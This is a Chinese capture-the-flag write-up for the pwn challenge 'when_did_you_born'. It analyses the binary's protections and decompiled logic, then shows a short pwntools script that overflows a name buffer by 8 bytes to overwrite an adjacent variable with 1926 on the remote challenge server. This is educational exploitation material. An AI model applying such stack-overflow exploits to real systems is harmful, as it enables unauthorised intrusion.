攻防世界-pwn when_did_you_born(栈覆盖)

攻防世界-pwn when_did_you_born(栈覆盖)_第1张图片

0x01

拿到文件之后,先检查文件的基本信息
攻防世界-pwn when_did_you_born(栈覆盖)_第2张图片

文件信息
  • 64bit elf可执行文件
  • 无PIE保护
     

0x02

执行文件
攻防世界-pwn when_did_you_born(栈覆盖)_第3张图片
文件之中有两个输入,第一个输入有回显
 

0x03 IDA静态分析

攻防世界-pwn when_did_you_born(栈覆盖)_第4张图片
可以看出获取flag需要用到v5的值,首先需要v5不等于1926,进入else这个块之中,然后又需要v5等于1926才能获取flag,就产生了矛盾。
结合程序有两个输入,可以考虑用第二个输入v4来覆盖第一个输入的栈空间,使v5在第二个if判断时变为1926。
攻防世界-pwn when_did_you_born(栈覆盖)_第5张图片
可以看到v4和v5的栈空间地址相差8个字节,利用v4的输入将v5覆盖为1926就行。
 

0x03 exp

from pwn import *

p = remote('111.198.29.45',57383)
p.recvuntil("What's Your Birth?")
p.sendline('1234')

p.recvuntil("What's Your Name?")
p.sendline('a'*8 + p64(1926))

p.interactive()

取得flag
攻防世界-pwn when_did_you_born(栈覆盖)_第6张图片

你可能感兴趣的:(ctf_pwn)